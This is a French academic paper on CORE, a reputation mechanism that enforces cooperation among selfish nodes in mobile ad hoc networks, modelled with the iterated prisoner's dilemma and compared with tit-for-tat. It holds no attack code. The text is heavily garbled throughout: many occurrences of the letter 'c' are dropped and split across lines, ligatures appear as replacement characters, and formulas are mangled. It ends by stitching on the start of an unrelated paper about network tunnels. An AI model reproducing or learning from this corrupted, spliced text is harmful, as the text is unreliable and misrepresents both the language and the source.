tives 
omme le déni de servi
e

et la subversion du tra�
. En raison de leur vulnérabilité a

rue, les réseaux ad ho
 devraient tenir


ompte des problèmes de sé
urité 
omme 
ondition de base indépendamment des s
énarios d'ap-

pli
ation et des 
ontre-mesures doivent être intégrées aux mé
anismes de base de gestion de réseau

dés leurs 
on
eptions.

Une autre 
on
lusion importante de notre étude de simulation est que la dégradation de perfor-

man
e dûe aux noeuds égoïstes s'abstenant éxpédier des paquets est plus signi�
ative que l'impa
t

du 
omportement égoïste simulé par des attaques sur le proto
ole d'a
heminement 
omme le proto-


ole � dynami
 sour
e routing � (DSR). Nous 
royons que des résultats semblables qui a

entuent

la sensibilité inhérente de MANET à l'égoïsme des noeuds peuvent être obtenus ave
 des fon
tions

de réseau autres que l'a
heminement ou l'expédition de paquets. Les mé
anismes de sé
urité qui im-

posent seulement l'exa
titude ou l'intégrité des opérations de réseau ne seraient ainsi pas su�sants

dans MANET. Une 
ondition de base pour maintenir le réseau opérationnel 
onsiste à imposer la


ontribution des noeuds aux opérations du réseau en dépit de la tendan
e 
ontradi
toire de 
haque

noeud vers l'égoïsme, motivée par la pénurie des ressour
es énergétiques.

Dans 
ette se
tion nous dis
utons du mé
anisme CORE [11℄, utilisé pour imposer la 
oopération

entre les n÷uds. CORE se base sur une te
hnique de surveillan
e distribuée. Ce mé
anisme de 
o-

opération n'empê
he pas un noeud de nier la 
oopération ou de dévier d'un 
omportement légitime

mais s'assure que les entités se 
onduisant mal soient punies en leur refusant graduellement les ser-

vi
es de 
ommuni
ation. CORE est suggéré 
omme mé
anisme générique qui peut être intégré ave


n'importe quelle fon
tion de réseau 
omme l'expédition de paquets, dé
ouverte de routes, gestion de

réseau, et gestion de la lo
alisation. Dans CORE, 
haque entité réseau en
ourage la 
ollaboration

d'autres entités en utilisant une métrique de 
oopération appelée réputation. La métrique de répu-

tation est 
al
ulée sur la basé des données re
ueillies lo
alement par 
haque noeuds et peut se baser

optionnellement sur l'information fournie par d'autres n÷ud du réseau impliqués dans des é
hanges

de messages ave
 les n÷uds surveillés. Basé sur la réputation, un mé
anisme de punition est adopté


omme système de dissuasion pour empê
her un 
omportement égoïste en refusant graduellement

les servi
es de 
ommuni
ation aux entités qui se 
onduisent mal. La 
onséquen
e immédiate d'un

réseau MANET qui adopte CORE est que les noeuds légitimes (noeuds qui 
oopèrent à l'opération

de réseau) arrivent à é
onomiser de l'énergie 
ar il ne servent pas 
eux qui ont été déte
tés 
omme

égoïstes. En outre, selon le modèle d'égoïsme adopté pour représenter des noeuds se 
onduisant

mal, il est possible de prouver que CORE fournit une in
itation e�
a
e à 
oopérer.

Pour simpli�er la des
ription de CORE, on se base sur la Figure 1, qui ne 
on
erne que la

déte
tion et la punition d'un 
omportement égoïste vis-à-vis de l'expédition des paquets.

CORE est 
omposé de trois modules : l'un dédié à l'analyse du tra�
 réseau, permis par le

mode de fon
tionnement dit � promis
uous � des 
artes sans �ls, un module dédié à l'évaluation
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Fig. 1. CORE : prin
ipe de fon
tionnement

de la métrique de réputation (pour 
haque voisin) et un module utilisé dans la phase de punition

des n÷uds. Il faut noter que CORE, étant un mé
anisme distribué, est exé
uté sur 
haque n÷ud

mobile du réseau. Le module d'analyse 
lassi�e le tra�
 réseaux aux alentours de 
haque n÷ud pour

véri�er le 
omportement individuel de 
haque voisin. Par dé�nition, un n÷ud B est voisin du n÷ud

A s'il est joignable ave
 un seul saut, 
.à.d. s'il se trouve dans le rayon radio du n÷ud A. Le module

d'analyse génère un �ux de 
omportement asso
ié à 
haque voisin : un ve
teur booléen représente

un bon (ave
 un 1) ou un mauvais (ave
 un 0) 
omportement. Le �ux de 
omportement est utilisé

par le module de réputation, qui dans sa version de base, n'est rien d'autre qu'un �ltre à � réponse

�nie � de type passe-bas. La fon
tion de �ltrage est utilisée pour réduire l'impa
t d'une fausse

génération du �ux de 
omportement. Dans la réalité, le mode de fon
tionnement � promis
uous �

n'est pas robuste et il est sujet aux fautes. CORE attribue un bas niveau de réputation seulement aux

n÷uds qui montrent les traits 
ara
téristiques d'égoïsme d'une façon persistante. D'autres modéles

plus 
omplexe peuvent être prévus pour le module de réputation, 
omme par exemple des �ltres

passe bande, pour tenir 
ompte de 
ertains types de 
omportement, ou des �ltres dynamiquement

a

ordés. Le module de punition se base sur un seuil (à hystérésis) qui est utilisé pour dé
len
her le

déni de servi
e aux n÷uds égoïstes. Dans la Figure 2 trois variations du mé
anisme de réputation

sont présentées : de droite a gau
he, le mé
anisme se base 1) sur un �ux booléen �ltré sur une

fenêtre de 5 é
hantillons, 2) sur un �ux �dèle au taux de 
oopération �ltré sur une fenêtre de 5

é
hantillons, 3) sur la déviation standard 
orrespondant à un taux de 
oopération de 50%, 
.à.d. un

n÷ud qui n'a
hemine que la moitié du tra�
, �ltré sur une fenêtre de 5 é
hantillons. Les graphes ont

été obtenus par une simulation haut niveau (grâ
e a MATLAB) du seul mé
anisme de réputation,

en se basant sur un �ux de 
omportement génère arti�
iellement. Comme on le peut 
onstater, à

parité de 
omportement (les trois graphes en haut) le niveau de réputation varie en tenant plus ou

moins 
ompte des grosses variations en ampleur ou des variations � haute fréquen
e � 
omme le

montre la forme de la réputation déduite entre 30 et 40 se
ondes de simulation.
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Fig. 2. CORE : évaluation de réputation

Pour plus de details sur le me
hanisme CORE, le le
teur est invité a 
onsulter [11℄.

3 Modélisation et validation analytique de CORE par la théorie des

jeux

Plusieurs mé
anismes de 
oopération ont été proposés par la 
ommunauté s
ienti�que dans la

tentative de faire fa
e au 
omportement égoïste des noeuds présents dans les réseaux ad ho
 mobiles

(MANET). Comme on le dé�nit par exemple dans [11℄, un noeud est 
onsidéré égoïste quand il

ne parti
ipe pas à la gestion ordinaire du réseau a�n d'é
onomiser de l'énergie. En opposition à la

malveillan
e, l'égoïsme est une mena
e passive qui ne 
omporte au
une dégradation intentionnelle

de l'opération du réseau au 
ontraire des attaques a
tives, par exemple, 
omme la subversion de

route, modi�
ation des données, et
... Dans 
ette se
tion nous présentons une appro
he pour évaluer

les mé
anisme CORE dé
ris dans la se
tion 2. Puisqu'une grande fra
tion des s
hémas existants

est basée sur des prin
ipes apparentés à la modélisation é
onomique, un outil naturel qui s'est

présenté pour la validation de tels mé
anismes est la théorie des jeux. Dans 
e travail, on utilise

une méthode basée sur la théorie des jeux non 
oopérative, 
e modèle étant utile pour démontrer

les propriétés de base de CORE. En utilisant 
ette méthode nous adoptions un modèle qui dé
rit la

stratégie d'un noeud égoïste qui doit prendre la dé
ision de 
oopérer ou de ne pas 
oopérer ave
 un

noeud voisin aléatoirement 
hoisi. Nous traduisons alors le mé
anisme CORE en guise de stratégie

qui peut être ainsi 
omparé à d'autres stratégies bien 
onnues dans la littérature. Sous l'hypothèse

généralement utilisée de la � surveillan
e parfaite �, nous démontrons l'équivalen
e entre CORE et
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un éventail de stratégies basées sur l'histoire des intera
tions, 
omme la stratégie � Tit-for-Tat �. De

plus, en adoptant une hypothèse plus réaliste qui tient 
ompte de l'imperfe
tion des observations du


omportement des noeuds voisin dûe aux erreurs de 
ommuni
ation, le modèle non 
oopératif met

en éviden
e la supériorité (en termes de stabilité et robustesse) de CORE par rapport à d'autres

mé
anismes basés sur une histoire d'intera
tion.

3.1 Modèle du système

L'intera
tion entre les n÷uds d'un réseau MANET et le pro
essus de séle
tion du niveau de


oopération peuvent être dé
rits en utilisant un simple modèle introduit par Tu
ker [15℄, nommée

le dilemme du prisonnier (DP). Dans le modèle 
lassique du DP, deux joueurs doivent prendre la

dé
ision de 
oopérer (C) ou de ne pas 
oopérer (D). Cette dé
ision est prise d'une façon syn
hrone,

sans à priori sur le 
hoix de l'opposant. Si les deux joueurs 
oopèrent ils reçoivent une prime

(R). Si les deux joueurs dé
ident de ne pas 
oopérer ils reçoivent une punition (P ). Dans le 
as

ou seulement un joueur 
oopère tandis que l'autre ne 
oopère pas, les gains vont être T pour le

joueur qui n'as pas 
oopéré et de S pour le joueur qui a 
oopéré. Souvent, le DP est représenté

par une forme 
anonique dite matri
ielle, qui exprime les gains en fon
tion des stratégies adoptées

par les joueurs. Autrement dit, la fon
tion mathématique qui guide le 
omportement stratégique

des joueurs est dite la fon
tion utilité. Le DP a reçu beau
oup d'attention dans le passé grâ
e aux

Joueur j

C D

Joueur i C (R,R) (S, T )

D (T, S) (P, P )

Joueur j

C D

Joueur i C (3, 3) (−2, 4)

D (4,−2) (0, 0)

Tab. 1. Forme Matri
ielle du Dilemme du Prisonnier : (a) 
anonique, (b) exemple.

amples possibilités d'appli
ation, qui re
ouvrent des domaines tels que l'étude de l'évolution de la


oopération en biologie, et bien sûr, qui bien est utile pour l'étude des réseaux. Pré
isément, le DP

appartient à la 
lasse des jeux nommée jeux à deux joueurs, dont la somme des gains n'est pas nulle,

ave
 une séle
tion de stratégie simultanée. Le dilemme, qui for
e les jeux dans un état sub-optimal

est di
té par l'expression suivante :

T > R > P > S
R > S+T

2

(1)

Le modèle du DP, s'applique à un réseau MANET statique 
omposé par N n÷uds qui représente

un terrain de jeux ou deux opposants se ren
ontrent d'une façon alèatoire. Bien évidement, il s'agit

d'un modèle 
ontraint par l'hypothèse de négliger l'impa
t du routage réseau. D'autres modèles plus


ompliqués peuvent tenir 
ompte du routage [1℄ et des 
ontraintes physiques [16℄ dûes au proto
ole

d'a

ès au medium partagé (les proto
oles MAC). La littérature ne présente pas de modèles qui

tiennent 
ompte de la mobilité. A�n de dé�nir notre modèle, on fait l'hypothèse selon la quelle


haque n÷ud du réseau est une sour
e du tra�
, qui va être a
heminée grâ
e à un proto
ole de

routage (par exemple le proto
ole DSR). De plus, on assume que deux n÷uds qui se ren
ontrent,


ar ils sont voisins, vont avoir un besoin mutuel de 
oopération a�n d'a
heminer les paquets de
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ha
un. Avant d'envoyer un paquet, suivant le modèle original du DP, 
haque n÷ud doit prendre

la dé
ision de 
oopérer ou pas ave
 son opposant : en 
oopèrant un n÷ud promet d'a
heminer

un pour
entage du tra�
 de l'autre n÷ud. Au lieu de prendre en 
ompte les 
ara
téristiques dûes

au modèle énergétique des n÷uds, une éventuelle information sur la topologie du réseau et les

phénomènes d'interféren
e, on va se 
on
entrer dans la suite sur une simple similitude pour expliquer

le problème. On pourrait imaginer de 
onsidérer deux joueurs (les n÷uds) ayant une lettre (un

ensemble de paquets) à envoyer. Pour 
haque lettre envoyée (que 
e soit la lettre envoyée par le

joueur même ou a
heminée pour l'opposant), les joueurs doivent payer le 
oût d'un timbre (le 
oût

en énergie pour envoyer un paquet). L'exemple donné sur la Table 1, montre que la seule solution

possible au jeu, 
on
ept qu'on va dé�nire dans la suite, 
onsiste à ne pas dépenser d'énergie, ni pour

expédier son propre tra�
 ni pour a
heminer le tra�
 de l'opposant, 
ar 
e 
hoix de stratégie est le

seul qui ne 
omporte pas de perte de gains dans le 
as ou l'opposant serait non 
oopératif.

On pourrait argumenter que le modèle i
i présenté est trop simple : au 
ontraire, nous pen-

sons que la perte en réalisme (dûe aux hypothèses qui limitent la prise en 
ompte de phénomènes

physiques importants) est grandement 
ompensée par la quantité des résultats dans la littérature

du dilemme du prisonnier. De plus, 
omme il est possible de le voir dans [1℄, une extension du

simple jeu à deux joueurs vers le 
as plus réaliste d'un jeu à N joueurs est possible. Il est toutefois

important de noter que l'hypothèse d'intera
tion future, qui dans la théorie des jeux est souvent

nommé � l'ombre du futur �, est fondamentale pour notre modèle : le tra�
 dans le réseau est dense,

signi�ant que tous les n÷uds sont sour
e de tra�
.

3.2 Version itérée du dilemme du prisonnier

Le simple modèle présenté dans la se
tion pré
édente peut être enri
hi en 
onsidérant un jeu qui


onsiste à répéter un 
ertain nombre de fois le même jeu. La théorie des jeux répétes a été étudiée

dans le passé [3℄. Comme on l'a 
onstaté dans la se
tion pré
édente, la seule solution au jeu du DP

est que les deux joueurs 
hoisissent de ne pas 
oopérer. La littérature est ri
he de dé�nitions de

solutions d'un jeu. Dans 
et arti
le on va se 
on
entrer sur un 
on
ept d'équilibre nommé l'équilibre

de Nash. Le seul équilibre de Nash (NE) du DP est de ne pas 
oopérer. Il est simple de voir que,

en supposant �xe le 
hoix de son adversaire, le mieux qu'un joueur puisse faire pour ne pas perdre

(
.à.d. pour ne pas payer) 
'est de 
hoisir la stratégie D. La façon dont les joueurs 
hoisissent leur

stratégie est di
tée par le prin
ipe de rationalité : non seulement les joueurs sont égoïstes, dans le

sens qu'ils veulent maximiser leurs pro�ts, mais ils ont à disposition une puissan
e de 
al
ul leur

permettant de deviner le 
hoix stratégique de l'adversaire. La rationalité des joueurs a été prise en


ompte seulement ré
emment 
omme une limitation de la théorie des jeux appliqués aux problèmes

réseaux. Souvent, il est impensable de faire l'hypothèse de rationalité : une hypothèse plus réaliste

est proposée, tenant 
ompte des limitations en terme de puissan
e de 
al
ul des joueurs.

Dans le s
énario qu'on 
onsidère dans 
et arti
le, l'intera
tion entre deux n÷uds (même dans le


as de mobilité) est souvent étendue à plus d'un seul é
hange. Dans 
e 
ontexte, la stratégie 
hoisie

par un joueur dans le passé peut avoir une in�uen
e sur la dé
ision future de son opposant : le

jeu répété 
omprend les phénomènes de 
ontinuité typiques d'un réseau qui se base sur le 
hemin

le plus 
ourt entre une sour
e et une destination. Il est don
 possible d'observer l'évolution et la

naissan
e de la 
oopération même si le jeu de base indique que le seul résultat possible est de non


oopération, et surtout même dans le 
as ou les joueurs sont guidés par l'égoïsme. Il faut noter

que dans 
ette se
tion on 
onsidère le jeu répété un nombre in�ni de fois. Un prin
ipe 
onnu sous

le nom d � prin
ipe d'indu
tion inverse �, montre que le simple fait de 
onnaître ave
 
ertitude la
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�n du jeu répété induit un 
omportement non 
oopératif. Les joueurs, en partant de la dernière

étape du jeu peuvent appliquer le prin
ipe de rationalité et ne pas 
oopérer pour obtenir un gain

lors de la dernière itération. Le prin
ipe d'indu
tion inverse peut être appliqué à l'avant dernière

itération du jeu jusqu'à remonter à la première ren
ontre, 
ompromettant un résultat positif qui va

dans le sens de la naissan
e d'un 
omportement 
oopératif. En pratique, notre modèle se base sur

une nuan
e du 
on
ept des jeux répétés indé�niment (souvent nommés jeux ave
 horizon in�ni) :

au lieu de répéter un nombre in�ni de fois le jeu, les joueurs ne 
onnaissent tout simplement pas la

�n du jeu. Dans 
e 
ontexte l' � ombre du futur � a un poids déterminant pour l'évolution du jeu

vers un 
omportement 
oopératif.

Pour 
on
lure 
ette brève introdu
tion aux jeux répétés, il faut 
ara
tériser la fon
tion utilité

maximisée par les joueurs : Ui =
∑

∞

t=0 δtut
i.

Dans la suite on va don
 
onsidérer le joueur i qui maximise la fon
tion Ui étant la somme de

la fon
tion utilité de 
haque itération du jeu de base du DP. Le fa
teur δ indique le poids d'un

gain immédiat par rapport à un gain à long terme. Une simple extension de 
e modèle pourrait


onsidérer le fa
teur δ 
omme un indi
e de mobilité des n÷uds.

4 Stratégies 
omplexes dans le Dilemme du Prisonnier Itéré

Axelrod et Hamilton [2,?℄ utilisent un tournoi simulé sur ordinateur pour déte
ter d'une façon

numérique les stratégies qui pourraient mener à la naissan
e de la 
oopération entre joueurs enga-

gés dans un DP itéré. Dans leur expérien
e, 14 stratégies 
omplexes et une stratégie 
omplètement

aléatoire sont en 
ompétition dès la première itération pour une su

ession de 200 itérations. Le

résultat inattendu de 
ette expérien
e est qu'une stratégie très simple sést démontrée être 
elle per-

mettant aux joueurs qui l'adoptent de remporter le maximum de gains. Cette stratégie est nommée

la stratégie tit-for-tat (TFT) :

TIT-FOR-TAT :

Coopérer dès la première itération, ensuite 
opier la stratégie de l'adversaire

utilisée dans l'itération pré
édente

Cette stratégie est à l'origine d'un vaste ensemble de stratégies plus 
omplexes, 
omme on va

le démontrer en modélisant CORE 
omme une stratégie. Pour étudier les 
ara
téristiques d'une

stratégie d'un point de vue numérique, deux appro
hes sont possibles :

� Une appro
he 
onsiste à utiliser une simulation d'un tournoi pair à pair, dans lequel 
haque

stratégie utilisé dans le jeu fait fa
e aux autres stratégies. Le s
ore �nal d'une stratégie est la

somme (dans un 
as simple, sans 
onsiderer le fa
teur δ mentionné dans la Se
tion 3.2) des

s
ores obtenus à 
haque itération. A la �n de la simulation, la stratégie gagnante est 
elle qui

a obtenu le s
ore maximal.

� Une se
onde appro
he 
onsiste à exé
uter une simulation numérique en utilisant les te
hniques

pour l'étude des systèmes biologiques. Au début de la simulation, les stratégies à étudier sont

identiquement distribués sur la population des joueurs. Un tournoi pair à pair est ensuite

lan
é, 
e qui prévoit une ren
ontre aléatoire entre populations adoptant di�érentes stratégies.

A la �n de 
haque round, la partie de population qui utilise une stratégie gagnante sera

in
rémentée tandis que la population perdante va vers l'extin
tion. La simulation s'arrête

lorsque les populations deviennent stables, 
'est a dire dans le 
as où le nombre de joueurs

qui adoptent une stratégie gagnante est identique. Cette deuxième méthode représente une

façon d'estimer la robustesse et la stabilité des stratégies.
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Avant d'introduire le modèle de CORE qui dé�nit une stratégie pour le jeu du DP, il est important

de dé
rire en détail la méthodologie de simulation qu'on a 
hoisie pour évaluer les propriétés de

stabilité et robustesse de CORE. Dans l'exemple suivant on va 
onsidérer trois stratégies, et on

va adopter la deuxième appro
he dé
rite au début de 
ette se
tion. Supposons que la population

prenant part au jeu du DP itéré utilise, ave
 une distribution identique sur les joueurs, les stratégies

A, B, et C. L'n-ieme itération, que l'on appelle souvent l'n-ieme génération, voit 
haque stratégie

représentée par une distribution de population : Wn(A) joueurs utilisent la stratégie A, Wn(B)
utilisent la stratégie B et Wn(C) adoptent la stratégie C. La représentation matri
ielle qui guide la

stratégie de deux joueurs qui s'a�rontent dans le tournoi � pair à pair � est 
elle présentée dans

la Table 1. Le gain des joueurs qui utilisent la stratégie A quand ils s'opposent à la stratégie B

est représenté par V (A|B). Pour 
haque simulation on assume une population �xe et 
onstante

Π , 
e qui 
onstitue une autre limitation du modèle par rapport à la réalité o�erte par les réseaux

MANET. Notre modèle, aussi 
omme les modèles disponibles dans la littérature, ne permet pas de

tenir 
ompte de l'évolution de la population typique d'un système ouvert. Pour 
e qui 
on
erne la

taille totale de la population prenant part au jeu itéré, l'expression suivante est valable :

∀i ∈ [1,∞[, Π = Wi(A) + Wi(B) + Wi(C) (2)

L'évaluation du s
ore obtenu par 
haque joueur qui adopte une déterminé stratégie à l'itération n
est don
 :

gn(A) = Wn(A)V (A|A) + Wn(B)V (A|B) + Wn(C)V (A|C)− V (A|A)
gn(B) = Wn(A)V (B|A) + Wn(B)V (B|B) + Wn(C)V (B|C)− V (B|B)
gn(C) = Wn(A)V (C|A) + Wn(B)V (C|B) + Wn(C)V (C|C)− V (C|C)

(3)

En total, le gain attribué à 
haque stratégie est :

t(n) = Wn(A)gn(A) + Wn(B)gn(B) + Wn(C)gn(C) (4)

On peut en déduire que 
haque sub-population à l'itération n + 1 va don
 être :

Wn+1(A) = ΠWn(A)gn(A)
t(n)

Wn+1(B) = ΠWn(B)gn(B)
t(n)

Wn+1(C) = ΠWn(C)gn(C)
t(n)

(5)

En ayant spé
i�é la dynamique des expérimentations, on va noter les 
ara
téristiques souhaitables

dé�nies par Axelrod [3℄ lors de ses travaux sur le dilemme du prisonnier itéré. Une bonne stratégie

doit :

� Ne pas être la première à ne pas 
oopérer ;

� Réagir aux 
hangements rapidement ;

� Etre �exible et � pardonner � les 
omportements non 
oopératifs ;

� Etre simple, soit lors de son implémentation que lors de son exé
ution

La stratégie TFT, qui satisfait les 
ritères mentionnées par Axelrod, a été 
onsidérée 
omme l'une

des meilleurs stratégies pour favoriser la naissan
e de 
oopération entre joueurs visant a maximiser

leur gains. Dans la suite, on va examiner les 
onditions dans lesquelles la stratégie TFT ne réalise

plus le meilleur s
ore par rapport à d'autres stratégies 
omme 
elle dérivée du mé
anisme CORE.
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4.1 La stratégie CORE : modélisation du mé
anisme par une stratégie 
omplexe

dans le DP Itéré

Dans le 
ontexte spé
i�que qui vise à étudier de la naissan
e de la 
oopération entre joueurs,

on a dé
rit les étapes théoriques qui nous mènent à utiliser la théorie de l'évolution appliquée aux

jeux en passant par une introdu
tion au dilemme du prisonnier et á sa version itérée. Dans 
ette

se
tion nous fo
alisons notre attention sur la modélisation du mé
anisme CORE 
omme stratégie

utilisée dans un simulateur (introduit et expliqué dans [9℄) de jeu évolutif. Notre but est aussi 
elui

de 
omparer les stratégies développées dans la littérature de la théorie des jeux et 
onnues pour

être les � meilleures � 
atalyseurs de 
oopération ave
 la stratégie CORE. Pour plus de détails sur

le fon
tionnement de CORE, le le
teur intéressé peut se référer à [11℄. I
i on montre que la stratégie

CORE peut être 
onsidérée 
omme équivalente de la stratégie TFT sous 
ertaines hypothèses (par

exemple quand le nombre d'observations utilisées pour évaluer la réputation asso
ié à un n÷ud est

égale à 1). De plus, on montre que la stratégie CORE est la meilleure entre un groupe de stratégies


onnues pour être très e�
a
es a�n de stimuler la 
oopération, quand les 
onditions qui guident le


hoix stratégique des joueurs ne sont pas idéales. Pré
isément, dans le 
ontexte d'une observabilité

parfaite du 
hoix stratégique de son opposant, CORE et TFT sont équivalentes d'un point de vue

stabilité et robustesse, tandis que dans le 
ontexte plus réel d'observabilité imparfaite CORE est

nettement meilleur que TFT. L'intérêt d'étudier les 
ara
téristiques d'une stratégie dans le 
adre

d'observabilité imparfaite vient de la simple remarque que, dans la réalité, tous les mé
anismes se

basant sur le monitorage de l'a
tivité des n÷uds voisins dans un réseau MANET sont très sensibles

aux bruits, interféren
es, 
ollisions, obsta
les et
., qui sont typiques d'un environnement se basant

sur la te
hnologie sans �ls 802.11.

La stratégie CORE, peut être dé�nie 
omme suit :

CORE

� Coopérer dès la première itération

� A 
haque itération, observer le B derniers 
hoix stratégiques de son opposant

et 
onstruire le ve
teur

−→
b = (b1, ..., bk, ..., bB) où 
haque élément est égal a

1 pour une 
oopération (C) et à -1 pour une non 
oopération (D) ;

� Cal
uler la réputation asso
iée à son opposant 
omme :

reputation = 1
B

∑
k

bk ;

� Si reputation ≥ 0 alors 
hoisir de 
oopérer (C) autrement ne pas 
oopérer

(D).

Il faut noter que la stratégie CORE dé
rite i
i n'est qu'une simpli�
ation du vrai mé
anisme

CORE, qui se base 
omme 
'est expliqué dans la se
tion 1 sur le �ltrage d'un �ux booléen, au

lieu d'e�e
tuer un 
al
ul sur un ve
teur. La représentation simpli�ée nous permet d'observer immé-

diatement la similitude entre CORE et TFT quand le nombre d'observations utilisé pour évaluer

la réputation (B) est égale à 1. Quand B = 1, la stratégie CORE est exa
tement dé
rite par la

stratégie TFT, et elle hérite des propriétés dé�nies par Axelrod. Dans 
et arti
le on ne va pas pré-

senter le pro
essus analytique qui montre que CORE est une stratégie d'équilibre 
ar il s'agit d'un

travail en 
ours de développement. En règle générale, la littérature de la théorie des jeux fournit une

vaste ensemble de théorèmes pour déterminer les 
onditions et l'existen
e d'un point d'équilibre,

soit pour les jeux non répétés que pour les jeux itéré. Un sujet de re
her
he très a
tuel est l'étude
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algorithmique pour 
al
uler exa
tement le point d'équilibre d'un système modélisé grâ
e à la théorie

des jeux. Dans la suite, on dis
ute les résultats de notre étude basée sur des simulation numériques.

4.2 Simulations sous l'hypothèse d'observabilité parfaite

Dans 
ette se
tion on analyse les résultats d'une simulation qui implique quatre stratégies :

tit-for-tat, CORE, all-C (toujours 
oopérer) et all-D (ne jamais 
oopérer). Comme on le dé
rit

dans la se
tion 4 la première itération voit 100 joueurs pour 
haque stratégie. Dans la �gure 3 il

est possible d'observer qu'après seulement 5 itérations la stratégie all-D disparait 
omplètement

tandis que les autres stratégies présentent le même type d'évolution. Ce
i implique que les stratégies

gagnantes ont obtenu le même gain dans 
haque tournoi à deux joueurs, don
 elle peuvent être


onsidèrées 
omme équivalentes d'un point de vue évolutif. Il faut noter que la stratégie all-C n'est

pas 
onsidérée 
omme une stratégie 
anonique 
ar le 
hoix stratégique ne dépend pas des a
tions

passées des opposants.
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Fig. 3. Simulation de l'évolution des stratégies sous l'hypothèse d'observabilité parfaite

4.3 Simulations sous l'hypothèse d'observabilité imparfaite

Lamajorité des travaux e�e
tués dans le domaine du dilemme du prisonnier itéré a été 
on
entrée

sur l'étude de l'équilibre et de l'évolution des systèmes en absen
e de � bruit �. Cela implique qu'il

n'existe pas de possibilité d'erreur d'évaluation de la stratégie 
hoisie par un opposant dans les

itérations passées. Cette hypothèse n'est pas né
essairement valable dans le 
adre d'une modélisation
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d'un système réel : dans le 
as spé
i�que d'un réseau MANET, il est impératif de prendre en 
ompte

les erreurs 
ommises par le mé
anisme dit � wat
hdog � implémenté pour fournir à CORE (et à

une vaste panoplie d'autres mé
anismes à base de réputation) les informations sur le 
omportement

des n÷uds voisins. Le le
teur intéresse pourrais par exemple étudier les travaux de Marti [8℄ pour


onnaître les problèmes liés a l'utilisation du � wat
hdog �.

Il y a di�érents moyens qui peuvent être utilisés pour introduire du bruit dans une simulation :

� Mauvaise implémentation, dans le 
as ou un joueur se � tromperait � au moment de l'a
tuation

d'une stratégie

� Mauvaise per
eption, dans le 
as ou un joueur se � tromperait � au moment de l'observation

du 
hoix de son opposant

Dans 
et arti
le on se 
on
entre sur le 
as d'une mauvaise per
eption 
ar on estime que 
e type

de problème est le plus semblable aux problèmes introduits par le mé
anisme du � wat
hdog �. Dans

la littérature, Kahn and Murnighan [7℄ on trouve que dans les expérien
es menées sur le jeu du DP,

la 
oopération entre joueurs est d'autant plus probable quand les joueurs sont sûrs du gain obtenu

par les autre joueurs. Les expérien
es menées par Miller [13℄ qui utilise la théorie des algorithmes

génétiques appliquée au DP montrent que la 
oopération entre joueurs atteit un maximum lorsque

les expérien
es sont exé
utées dans un environnement sans � bruit �, tandis que la 
oopération

montrée par les joueurs dé
roit rapidement ave
 une hausse du bruit dans le système. Axelrod a

aussi proposé des idées pour stimuler la 
oopération entre joueurs dans le 
as d'un système sujet

au bruit : te
hniques qui in
luent le groupage de stratégies similaires, l'apprentissage, modi�
ations

dynamiques de la forme matri
ielle qui dé
ris le jeux. Ho�man [6℄ a étudié aussi les impli
ations

dûes à une mauvaise implémentation des stratégie, en simulant un " tremblement de main " lors de

la dé
ision �nale de 
oopérer ou pas.

En parti
ulier, on remarque une forte sensibilité au bruit pour les stratégies dépendent d'une

façon très simple du passé, de l'histoire qui dé
rit l'intera
tion entre joueurs. Par exemple, dans un

tournoi entre joueurs qui adoptent la stratégie TFT, une simple erreur de per
eption peut impliquer

une divergen
e qui mène a la non-
oopération : il su�t qu'un joueur se trompe en 
onsidérant 
omme

non 
oopératif un 
omportement 
oopératif pour que, dans la pro
haine itération du jeu répété,

son opposant 
hoisisse de ne pas 
oopérer en raison d'un 
omportement non 
oopératif erroné de

son opposant. Les études présentées dans [4℄ 
on�rment qu'une stratégie 
apable de s'adapter à

un environnement bruyant en � pardonnant � 
ertains 
hoix stratégiques non 
oopératifs pourrait

mener à la 
oopération entre les joueurs.

Comme on le trouve dans la se
tion 4 on a étudié les résultats d'une simulation qui implique

5 stratégies en présen
e de bruit dans le système. Chaque point du graphe de la Figure 4 est le

résultat de 10 simulations quand le bruit et égal a 10% : une fois sur dix une erreur de per
eption

a�e
te les dé
isions des joueurs. 100 joueurs pour 
haque stratégie se 
onfrontent dès la première

itération du tournoi. Pour une des
ription des stratégie spiteful, gradual et soft-majo, le le
teur

intéressé peut 
onsulter [12℄. Comme on peut l'observer dans la Figure 4, la stratégie CORE est


elle qui évolue le plus rapidement, en gagnant de plus en plus de parties de population. La raison

pour laquelle CORE réalise des meilleurs résultats en présen
e du bruit est dûe a l'utilisation de la

réputation : la valeur de la réputation étant basée sur plus d'une observation, ne 
omporte pas de

déviation inattendue même en présen
e de bruit 
ar, grâ
e à la propréteur de lissage de la fon
tion

utilisée dans [11℄ pour évaluer la réputation, des variations à haute fréquen
e dans le ve
teur (ou

�ux) qui représente le 
hoix stratégique d'un opposant ont une in�uen
e minime.
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Fig. 4. Simulation de l'évolution des stratégies sous l'hypothèse d'observabilité imparfaite

5 Con
lusion

Dans 
et arti
le on a présenté un mé
anisme à base de réputation nommé CORE qui est utilisé

pour stimuler la 
oopération entre le n÷uds d'un réseau mobile ad ho
. Le mé
anisme CORE est

ensuite modélisé grâ
e à la théorie des jeux et à l'appli
ation d'une version itérée du jeu du dilemme

du prisonnier. Le modèle analytique est étendu pour étudier, grâ
e a des te
hniques utilisées dans la

théorie de l'évolution, la stabilité e la robustesse d'une stratégie dire
tement déduite du mé
anisme

CORE. Des simulations ayant le but d'analyser les 
ara
téristiques de la stratégie CORE et d'autres

stratégies étudiés dans la littérature montrent que CORE est équivalent à la très 
élèbre stratégie

tit-for-tat. De plus, dans le 
as ou un élément de réalisme est introduit dans le modèle, pour tenir


ompte des problèmes 
réés par un environnement qui exploite la te
hnologie sans �ls 802.11, la

stratégie CORE montres des 
ara
téristiques de robustesse et de stabilité qui n'ont pas d'égal parmi

les autres stratégies 
onsidérées dans la littérature. Dans le futur, on se propose d'approfondir l'etude

du modèle d'un réseau MANET et des mé
anismes de réputation pour tenir 
ompte de la topologie

du réseau, des di�érentes 
apa
ités en terme de puissan
e de 
al
ul et de durée de vie des dispositifs

formant le réseau, et du 
ara
tère distribué du mé
anisme pour évaluer la réputation.
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1 Introdu
tion

Au �l des années, les entreprises ont 
her
hé à 
loisonner et �ltrer leur système d'information

a�n d'en maîtriser au maximum les �ux y 
ir
ulant. Ces restri
tions ont poussé un 
ertain nombre

de logi
iels et d'individus à utiliser des méthodes de 
ontournement pour s'a�ran
hir des limites

de la sé
urité leur étant imposées. L'utilisation détournée de proto
oles 
ommunément autorisés

� en dire
t ou via des mé
anismes de relayage � permet alors de véhi
uler des �ux non autorisés

par le biais de mé
anismes appelés tunnels. Ces tunnels, volontaires ou non, peuvent présenter de

graves risques de fuite d'informations, de 
ongestion réseau, et
. L'utilisation de tunnels au sein des

entreprises est dorénavant devenu monnaie 
ourante 
